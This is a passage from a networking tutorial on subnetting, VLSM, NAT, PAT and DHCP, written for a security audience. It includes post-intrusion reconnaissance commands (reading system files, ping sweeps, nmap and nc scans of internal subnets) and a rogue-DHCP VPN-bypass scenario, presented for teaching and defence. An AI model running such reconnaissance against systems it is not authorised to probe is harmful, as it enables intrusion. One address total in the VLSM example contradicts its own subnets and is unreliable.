AND result:    192.168.1.0   = 11000000.10101000.00000001.00000000
                               ← Network address

The network address is the IP with all host bits set to 0.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How a device uses this:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Device: 192.168.1.100/24
Wants to send to: 192.168.1.50

Step 1: Calculate own network address
  192.168.1.100 AND 255.255.255.0 = 192.168.1.0

Step 2: Calculate destination network address
  192.168.1.50 AND 255.255.255.0 = 192.168.1.0

Step 3: Are they the same? YES
  → Destination is local, send directly (use ARP to find MAC)

───────────────────────────────────────────────────────

Device: 192.168.1.100/24
Wants to send to: 10.0.0.1

Step 1: Own network: 192.168.1.0
Step 2: Destination network: 10.0.0.0 (AND with 255.255.255.0)
Step 3: Are they the same? NO
  → Destination is remote, send to default gateway
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 Finding Network and Broadcast Addresses
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Given: 192.168.10.130/25

Step 1: Convert prefix to mask
  /25 → 255.255.255.128 = 11111111.11111111.11111111.10000000

Step 2: Find network address (AND)
  IP:   11000000.10101000.00001010.10000010
  Mask: 11111111.11111111.11111111.10000000
  AND:  11000000.10101000.00001010.10000000 = 192.168.10.128

Step 3: Find broadcast address (OR with inverted mask)
  Inverted mask (wildcard): 00000000.00000000.00000000.01111111
  Network:  11000000.10101000.00001010.10000000
  Wildcard: 00000000.00000000.00000000.01111111
  OR:       11000000.10101000.00001010.11111111 = 192.168.10.255

Results:
  Network address:   192.168.10.128
  Broadcast address: 192.168.10.255
  First host:        192.168.10.129
  Last host:         192.168.10.254
  Usable hosts:      2^7 - 2 = 126
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Subnet calculation tools:&lt;/span&gt;
ipcalc 192.168.10.130/25       &lt;span class="c"&gt;# Comprehensive subnet info&lt;/span&gt;
ipcalc &lt;span class="nt"&gt;-n&lt;/span&gt; 192.168.10.130/25    &lt;span class="c"&gt;# Network address only&lt;/span&gt;
ipcalc &lt;span class="nt"&gt;-b&lt;/span&gt; 192.168.10.130/25    &lt;span class="c"&gt;# Broadcast only&lt;/span&gt;

&lt;span class="c"&gt;# Python:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import ipaddress
net = ipaddress.ip_interface('192.168.10.130/25').network
print(f'Network:   {net.network_address}')
print(f'Broadcast: {net.broadcast_address}')
print(f'Mask:      {net.netmask}')
print(f'Wildcard:  {net.hostmask}')
print(f'First:     {list(net.hosts())[0]}')
print(f'Last:      {list(net.hosts())[-1]}')
print(f'Hosts:     {net.num_addresses - 2}')
"&lt;/span&gt;

&lt;span class="c"&gt;# Determine subnet from any IP:&lt;/span&gt;
ip route get 192.168.1.50      &lt;span class="c"&gt;# Linux — shows route to this IP&lt;/span&gt;
ip addr show                    &lt;span class="c"&gt;# Shows all interfaces with CIDR notation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Subnetting — Designing and Breaking Networks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Why Subnetting Is a Security Design Tool
&lt;/h3&gt;

&lt;p&gt;Subnetting is not just about efficient address use — it is the primary mechanism for &lt;strong&gt;network segmentation&lt;/strong&gt;. Separate subnets, enforced by routers and firewalls, are the foundation of defence-in-depth at the network layer.&lt;/p&gt;

&lt;p&gt;A flat network (everyone in one subnet) means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Broadcast traffic hits every device&lt;/li&gt;
&lt;li&gt;ARP poisoning reaches every device&lt;/li&gt;
&lt;li&gt;A compromised workstation can reach every server directly&lt;/li&gt;
&lt;li&gt;No choke points for traffic inspection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A segmented network means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Traffic between subnets must cross a router or firewall&lt;/li&gt;
&lt;li&gt;Security policies can be enforced at subnet boundaries&lt;/li&gt;
&lt;li&gt;Compromise of one subnet does not grant immediate access to others&lt;/li&gt;
&lt;li&gt;Lateral movement requires exploiting the routing/firewall boundary&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7.2 Subnetting a Network — The Complete Method
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; You have 192.168.1.0/24 and need to create 4 subnets of (approximately) equal size.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Step 1: Determine how many subnet bits are needed
  4 subnets → need 2 bits (2^2 = 4)
  Borrow 2 bits from the host portion

Step 2: New prefix length
  Original: /24
  New:      /24 + 2 = /26

Step 3: New subnet mask
  /26 = 11111111.11111111.11111111.11000000 = 255.255.255.192

Step 4: Block size
  8 host bits - 2 subnet bits = 6 host bits
  Hosts per subnet: 2^6 - 2 = 62
  Block size: 2^6 = 64

Step 5: List all subnets
  Subnet 1: 192.168.1.0/26     → hosts: 192.168.1.1   – 192.168.1.62
  Subnet 2: 192.168.1.64/26    → hosts: 192.168.1.65  – 192.168.1.126
  Subnet 3: 192.168.1.128/26   → hosts: 192.168.1.129 – 192.168.1.190
  Subnet 4: 192.168.1.192/26   → hosts: 192.168.1.193 – 192.168.1.254

Broadcasts: .63, .127, .191, .255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security application of subnetting:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Typical enterprise segmented network design:

Segment             Subnet           Purpose                Security Posture
────────────────────────────────────────────────────────────────────────────
Users               10.10.1.0/24    Workstations           Least trusted
Servers             10.10.2.0/24    Internal servers       More trusted
Management          10.10.3.0/27    Network devices        Highly restricted
DMZ                 10.10.4.0/28    Internet-facing        Partially trusted
Guest               10.10.5.0/24    Visitor WiFi           Untrusted
OT/Control          10.20.0.0/24    Industrial devices     Isolated
OT/SCADA Server     10.20.1.0/28    HMI/Historian          Isolated
Surveillance        10.30.0.0/24    CCTV cameras           Isolated

Between each segment: firewall with explicit allow rules.
Default policy: DENY ALL.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Subnetting in Attack Context
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Identifying the subnet from inside:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# After initial access, enumerate network configuration:&lt;/span&gt;
ip addr show                          &lt;span class="c"&gt;# Own IP + subnet&lt;/span&gt;
ip route show                         &lt;span class="c"&gt;# Routing table (reveals other subnets)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/hosts                        &lt;span class="c"&gt;# Static hostname mappings&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/resolv.conf                  &lt;span class="c"&gt;# DNS server IPs (often on internal network)&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                                &lt;span class="c"&gt;# Recently communicated hosts&lt;/span&gt;

&lt;span class="c"&gt;# Infer network topology from routing table:&lt;/span&gt;
ip route show
&lt;span class="c"&gt;# Example output:&lt;/span&gt;
&lt;span class="c"&gt;# default via 10.10.1.1 dev eth0       ← Default gateway&lt;/span&gt;
&lt;span class="c"&gt;# 10.10.1.0/24 dev eth0               ← Local subnet&lt;/span&gt;
&lt;span class="c"&gt;# 10.10.2.0/24 via 10.10.1.1 dev eth0 ← Route to server subnet (gateway is router)&lt;/span&gt;

&lt;span class="c"&gt;# The presence of routes to 10.10.2.0/24 reveals the server subnet exists&lt;/span&gt;
&lt;span class="c"&gt;# Even if firewall blocks direct access, knowing the subnet guides further attacks&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Subnet scanning after initial access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fast host discovery within a discovered subnet:&lt;/span&gt;
&lt;span class="c"&gt;# Method 1: Ping sweep (often blocked by firewalls)&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 254&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 10.10.2.&lt;span class="nv"&gt;$i&lt;/span&gt; &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"10.10.2.&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; alive"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Method 2: ARP scan (only works on same subnet)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp-scan 10.10.1.0/24

&lt;span class="c"&gt;# Method 3: TCP SYN to common ports (works across subnets)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443,445,3389 &lt;span class="nt"&gt;--open&lt;/span&gt; 10.10.2.0/24 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Method 4: Using nc for quick port checks&lt;/span&gt;
nc &lt;span class="nt"&gt;-zv&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; 1 10.10.2.100 22 80 443 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep &lt;/span&gt;succeeded

&lt;span class="c"&gt;# Method 5: Python ping sweep&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import subprocess, ipaddress, concurrent.futures

def ping(ip):
    result = subprocess.run(['ping', '-c', '1', '-W', '1', str(ip)],
                           capture_output=True)
    if result.returncode == 0:
        return str(ip)
    return None

network = ipaddress.ip_network("10.10.2.0/24")
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    futures = {executor.submit(ping, host): host for host in network.hosts()}
    for future in concurrent.futures.as_completed(futures):
        result = future.result()
        if result:
            print(f"ALIVE: {result}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Subnetting is both a network design tool and a map-reading skill for attackers. From the attacker's perspective, routing tables and network configurations gathered during post-exploitation reveal the entire subnet architecture — which subnets exist, how they are connected, and what paths exist between them. Defenders must assume that an attacker who gains any foothold will enumerate the full subnet topology.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. VLSM — Variable Length Subnet Masking
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 What VLSM Solves
&lt;/h3&gt;

&lt;p&gt;Fixed-length subnetting wastes addresses. VLSM allows different subnets within the same network to have different prefix lengths — each subnet is sized exactly for its requirement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem with fixed subnetting:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You need:
  - 1 subnet for 100 users    → need /25 (126 hosts)
  - 1 subnet for 20 servers   → need /27 (30 hosts)
  - 1 subnet for 10 printers  → need /28 (14 hosts)
  - 4 point-to-point links    → need /30 (2 hosts each)

Fixed /25 approach (wasteful):
  All subnets are /25 = 126 hosts each
  Servers subnet: 126 - 20 = 106 wasted addresses
  Printers subnet: 126 - 10 = 116 wasted addresses
  P2P links: 126 - 2 = 124 wasted addresses each

VLSM approach (efficient):
  User subnet:    /25 = 126 hosts ← sized correctly
  Server subnet:  /27 = 30 hosts  ← sized correctly
  Printer subnet: /28 = 14 hosts  ← sized correctly
  P2P links:      /30 = 2 hosts   ← sized correctly
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 VLSM Design Process
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Always start with the largest subnet and work down.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Available block: 192.168.1.0/24 (254 hosts)
Requirements:
  1. Subnet A: 100 hosts
  2. Subnet B: 50 hosts
  3. Subnet C: 20 hosts
  4. Subnet D: 10 hosts
  5. Subnet E: 2 hosts (point-to-point link)

Step 1: Subnet A (100 hosts)
  Need: 2^n - 2 ≥ 100 → n=7 (2^7-2=126) → /25
  Assign: 192.168.1.0/25
  Range: 192.168.1.0 – 192.168.1.127
  Next available: 192.168.1.128

Step 2: Subnet B (50 hosts)
  Need: 2^n - 2 ≥ 50 → n=6 (2^6-2=62) → /26
  Assign: 192.168.1.128/26
  Range: 192.168.1.128 – 192.168.1.191
  Next available: 192.168.1.192

Step 3: Subnet C (20 hosts)
  Need: 2^n - 2 ≥ 20 → n=5 (2^5-2=30) → /27
  Assign: 192.168.1.192/27
  Range: 192.168.1.192 – 192.168.1.223
  Next available: 192.168.1.224

Step 4: Subnet D (10 hosts)
  Need: 2^n - 2 ≥ 10 → n=4 (2^4-2=14) → /28
  Assign: 192.168.1.224/28
  Range: 192.168.1.224 – 192.168.1.239
  Next available: 192.168.1.240

Step 5: Subnet E (2 hosts, P2P link)
  Need: 2^n - 2 ≥ 2 → n=2 (2^2-2=2) → /30
  Assign: 192.168.1.240/30
  Range: 192.168.1.240 – 192.168.1.243
  Remaining: 192.168.1.244 – 192.168.1.255 (available for future use)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 VLSM and Security Architecture
&lt;/h3&gt;

&lt;p&gt;VLSM is what makes proper OT network segmentation practical. Different zones have vastly different host count requirements:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT Network VLSM Design Example:

  Corporate IT-OT DMZ:      10.20.0.0/28   (14 hosts — jump servers, historians)
  SCADA Server Zone:        10.20.0.16/29  (6 hosts — HMI servers, SCADA servers)
  Control Network:          10.20.0.24/29  (6 hosts — PLCs, RTUs)
  Field Device Network:     10.20.0.32/27  (30 hosts — sensors, actuators)
  Engineering Workstations: 10.20.0.64/28  (14 hosts — EWS)
  IT-OT Firewall Link:      10.20.0.80/30  (2 hosts — P2P firewall interfaces)
  OT-SCADA Firewall Link:   10.20.0.84/30  (2 hosts — P2P firewall interfaces)

  Total used: 192.168.0.0/24
  Each zone isolated with firewall — traffic only flows through permitted paths
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify VLSM design is correct (no overlaps):&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ipaddress

subnets = [
    "10.20.0.0/28",
    "10.20.0.16/29",
    "10.20.0.24/29",
    "10.20.0.32/27",
    "10.20.0.64/28",
    "10.20.0.80/30",
    "10.20.0.84/30",
]

networks = [ipaddress.ip_network(s) for s in subnets]

# Check for overlaps:
overlaps = []
for i, n1 in enumerate(networks):
    for j, n2 in enumerate(networks):
        if i &amp;lt; j and n1.overlaps(n2):
            overlaps.append((subnets[i], subnets[j]))

if overlaps:
    print("OVERLAP DETECTED:")
    for o in overlaps:
        print(f"  {o[0]} overlaps with {o[1]}")
else:
    print("No overlaps — VLSM design is valid")

# Show total address space used:
total = sum(n.num_addresses for n in networks)
print(f"Total addresses allocated: {total}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. NAT — Network Address Translation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 How NAT Works Internally
&lt;/h3&gt;

&lt;p&gt;NAT maintains a &lt;strong&gt;translation table&lt;/strong&gt; that maps {private IP, private port} to {public IP, public port} pairs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NAT Translation Table:
┌────────────────────────┬────────────────────────┬──────────────────┐
│ Inside Local           │ Inside Global          │ Protocol         │
│ (Private IP:Port)      │ (Public IP:Port)       │                  │
├────────────────────────┼────────────────────────┼──────────────────┤
│ 192.168.1.10:54321     │ 203.0.113.1:12001      │ TCP              │
│ 192.168.1.10:54322     │ 203.0.113.1:12002      │ TCP              │
│ 192.168.1.20:45678     │ 203.0.113.1:12003      │ TCP              │
│ 192.168.1.30:53        │ 203.0.113.1:12004      │ UDP              │
└────────────────────────┴────────────────────────┴──────────────────┘

Outbound packet:
  Source: 192.168.1.10:54321  Destination: 8.8.8.8:53
  NAT rewrites source: 203.0.113.1:12001  Destination: 8.8.8.8:53
  Adds entry to table

Inbound packet:
  Source: 8.8.8.8:53  Destination: 203.0.113.1:12001
  NAT looks up 203.0.113.1:12001 → 192.168.1.10:54321
  Rewrites destination: 8.8.8.8:53 → 192.168.1.10:54321
  Forwards to internal host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 NAT Types
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Static NAT (one-to-one):&lt;/strong&gt;&lt;br&gt;
One private IP permanently maps to one public IP.&lt;br&gt;
Used for: servers that must be reachable from the internet on their own public IP.&lt;br&gt;
Security: same attack surface as a directly connected server — no protection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dynamic NAT:&lt;/strong&gt;&lt;br&gt;
Pool of public IPs, allocated on demand from private IPs.&lt;br&gt;
Used when: organisation has multiple public IPs but more private hosts.&lt;br&gt;
Less common in modern deployments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PAT / NAT Overload (most common):&lt;/strong&gt;&lt;br&gt;
Many private IPs share one public IP, differentiated by source port.&lt;br&gt;
This is what virtually every home router and most corporate NAT devices implement.&lt;br&gt;
Covered in detail in Section 10.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Port Forwarding (Destination NAT / DNAT):&lt;/strong&gt;&lt;br&gt;
Inbound traffic to a specific public IP:port is redirected to a private IP:port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Example: All traffic to 203.0.113.1:80 → 192.168.1.100:80 (internal web server)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Security: explicitly exposes a specific internal host to the internet.&lt;br&gt;
Must be carefully controlled — unauthorised port forwarding is a security incident.&lt;/p&gt;
&lt;h3&gt;
  
  
  9.3 NAT Security Implications
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;NAT is NOT a security control — it is an address translation mechanism:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Common misconception: &lt;span class="s2"&gt;"We're behind NAT, so we're protected"&lt;/span&gt;

Why this is wrong:
  1. Outbound connections bypass NAT protection entirely
     Malware can establish outbound connections to C2 servers
     NAT translates and allows these — it only blocks UNSOLICITED inbound

  2. NAT traversal techniques bypass inbound filtering:
     STUN &lt;span class="o"&gt;(&lt;/span&gt;Session Traversal Utilities &lt;span class="k"&gt;for &lt;/span&gt;NAT&lt;span class="o"&gt;)&lt;/span&gt;: used by WebRTC
     TURN &lt;span class="o"&gt;(&lt;/span&gt;Traversal Using Relays around NAT&lt;span class="o"&gt;)&lt;/span&gt;: relay-based bypass
     UPnP &lt;span class="o"&gt;(&lt;/span&gt;Universal Plug and Play&lt;span class="o"&gt;)&lt;/span&gt;: applications self-configure port forwarding
     ICMP tunnelling: encapsulate traffic &lt;span class="k"&gt;in &lt;/span&gt;ICMP &lt;span class="o"&gt;(&lt;/span&gt;sometimes passes NAT&lt;span class="o"&gt;)&lt;/span&gt;

  3. UPnP is a significant vulnerability:
     By default, applications can call UPnP to open arbitrary port forwards
     Malware does this to create persistent inbound access

     &lt;span class="c"&gt;# Check if UPnP is running on your router:&lt;/span&gt;
     &lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 1900 192.168.1.1        &lt;span class="c"&gt;# SSDP/UPnP discovery&lt;/span&gt;
     upnpc &lt;span class="nt"&gt;-l&lt;/span&gt;                                  &lt;span class="c"&gt;# List current port forwards (miniupnpc package)&lt;/span&gt;

  4. Application Layer Gateway &lt;span class="o"&gt;(&lt;/span&gt;ALG&lt;span class="o"&gt;)&lt;/span&gt; vulnerabilities:
     NAT must understand some protocols &lt;span class="o"&gt;(&lt;/span&gt;FTP, SIP, H.323&lt;span class="o"&gt;)&lt;/span&gt; to translate correctly
     ALG implementations have had vulnerabilities
     NAT-ALG &lt;span class="k"&gt;for &lt;/span&gt;FTP has been exploited to reach internal hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Forensic implications of NAT:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Problem: NAT hides the true source of connections
  Security camera records show: IP 203.0.113.1 accessed the server
  But who was it? Could be any of 5,000 internal hosts using that NAT

Solution: NAT logging is mandatory for attribution
  Every enterprise firewall/NAT device should log:
  - Timestamp of translation creation
  - Inside local IP:port
  - Inside global IP:port
  - Outside IP:port
  - Protocol
  - Duration

  Without NAT logs, incident response attribution is impossible.
  Log format: May 29 10:00:01 firewall %NAT-6-LOG: TCP src 192.168.1.50:54321
              dst 203.0.113.50:80 translated to src 203.0.113.1:12345
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; NAT's protection is entirely passive — it blocks unsolicited inbound connections because there is no NAT entry to translate them. The moment a connection is initiated from inside (which malware always does), NAT becomes invisible. Every reverse shell, every HTTPS C2 beacon, every DNS tunnel — all traverse NAT without obstruction. NAT logging is the only forensic tool that allows attribution after an incident.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. PAT — Port Address Translation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 How PAT Differs from NAT
&lt;/h3&gt;

&lt;p&gt;PAT (Port Address Translation), also called NAT Overload or NAPT (Network Address and Port Translation), is the specific technique that allows many private hosts to share a single public IP address by using different source port numbers to distinguish connections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PAT in action — three internal hosts accessing the same web server:

Inside:                    Public:              Outside:
192.168.1.10:51000  ────→  1.2.3.4:40001 ────→  93.184.216.34:80
192.168.1.20:51000  ────→  1.2.3.4:40002 ────→  93.184.216.34:80
192.168.1.30:51000  ────→  1.2.3.4:40003 ────→  93.184.216.34:80

All three inside hosts use the same source port (51000) from their perspective.
PAT allocates unique source ports on the public side (40001, 40002, 40003).
The external server sees three connections from 1.2.3.4 on different source ports.
When response arrives to 1.2.3.4:40001, PAT knows to send it to 192.168.1.10:51000.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 Port Exhaustion
&lt;/h3&gt;

&lt;p&gt;PAT source ports are 16-bit (0-65535). With 1,024 reserved ports, approximately 64,511 simultaneous connections per public IP are theoretically possible. In practice, the limit is lower due to OS state, timeout timers, and memory.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Port exhaustion attack:&lt;/strong&gt;&lt;br&gt;
An attacker from inside the NAT could rapidly open connections to an external server, exhausting the PAT table and preventing other internal hosts from making new connections. This is a DoS attack against the NAT device itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Large-scale NAT and Carrier-Grade NAT (CGN):&lt;/strong&gt;&lt;br&gt;
ISPs use CGN (100.64.0.0/10 range) to NAT entire customer networks behind a shared IP. Multiple customers share one public IP. Port exhaustion here affects all sharing customers.&lt;/p&gt;

&lt;p&gt;From a security/forensics perspective: CGN makes attribution even harder — millions of customers may share a single IP.&lt;/p&gt;


&lt;h2&gt;
  
  
  11. DHCP — How IP Addresses Are Assigned
&lt;/h2&gt;
&lt;h3&gt;
  
  
  11.1 The DORA Process
&lt;/h3&gt;

&lt;p&gt;DHCP (Dynamic Host Configuration Protocol, RFC 2131) automates IP address assignment. The four-step process is called DORA:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CLIENT                                      DHCP SERVER
  │                                              │
  │ DISCOVER (broadcast, src: 0.0.0.0:68)       │
  │ ─────────────────────────────────────────→  │
  │ "I need an IP address"                       │
  │ Src IP: 0.0.0.0  (no IP yet)                │
  │ Dst IP: 255.255.255.255 (broadcast)          │
  │ Transaction ID: 0x12345678                   │
  │                                              │
  │ ←───────────────────────────────────────── │
  │ OFFER (unicast or broadcast)                 │
  │ "I offer you 192.168.1.50"                   │
  │ Offered IP: 192.168.1.50                     │
  │ Server IP: 192.168.1.1                       │
  │ Lease time: 86400 seconds (24 hours)         │
  │ Gateway: 192.168.1.1                         │
  │ DNS: 8.8.8.8, 8.8.4.4                       │
  │ Subnet mask: 255.255.255.0                   │
  │                                              │
  │ REQUEST (broadcast)                          │
  │ ─────────────────────────────────────────→  │
  │ "I accept 192.168.1.50 from server .1"       │
  │ Broadcast — informs other DHCP servers too   │
  │                                              │
  │ ←───────────────────────────────────────── │
  │ ACKNOWLEDGE (ACK)                            │
  │ "Confirmed. 192.168.1.50 is yours for 24h"  │
  │                                              │
  [Client configures interface with offered params]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DHCP Options — what DHCP can configure:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Option 1:   Subnet Mask
Option 3:   Default Gateway (Router)
Option 6:   DNS Servers
Option 12:  Hostname
Option 15:  Domain Name
Option 28:  Broadcast Address
Option 42:  NTP Servers
Option 43:  Vendor-specific options (used by PXE boot, VoIP phones, OT devices)
Option 51:  Lease Time
Option 54:  DHCP Server IP
Option 58:  Renewal Time (T1) — when to start renewing (50% of lease time)
Option 59:  Rebinding Time (T2) — when to broadcast for any DHCP server (87.5%)
Option 60:  Vendor Class Identifier (client announces its type)
Option 61:  Client Identifier (usually MAC address)
Option 66:  TFTP Server Name (for network boot)
Option 67:  Bootfile Name (for PXE boot)
Option 82:  DHCP Relay Agent Information (circuit ID, remote ID)
Option 119: Domain Search List
Option 121: Classless Static Routes (inject routes into clients)
Option 252: WPAD URL (web proxy auto-discovery — Option 252 is the de facto standard)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Option 121 — Classless Static Routes (CVE-2024-3661 / TunnelVision):&lt;/strong&gt;&lt;br&gt;
This is a critical vulnerability disclosed in May 2024. A rogue DHCP server can use Option 121 to inject arbitrary routes into a client's routing table. By routing all traffic through the attacker's gateway and adding a specific route for the VPN's traffic, the attacker can force VPN traffic outside the encrypted tunnel — bypassing VPN protections and enabling plaintext traffic interception.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack scenario:
1. Attacker deploys rogue DHCP server on Wi-Fi network
2. Serves Option 121: route 0.0.0.0/1 via attacker, 128.0.0.0/1 via attacker
   (Splits the default route — more specific than VPN's /0 route)
3. All traffic routes outside the VPN tunnel to the attacker
4. VPN client still shows "connected" — no indication of bypass

Affected: All OSes that honour DHCP Option 121 with VPN active
Not affected: Android (ignores Option 121), Linux with network namespace VPNs
Mitigations:
  - Run VPN in isolated network namespace (Linux)
  - Disable DHCP Option 121 processing
  - Use VPN with kill switch and route protection
&lt;/code&gt;&lt;/pre&gt;

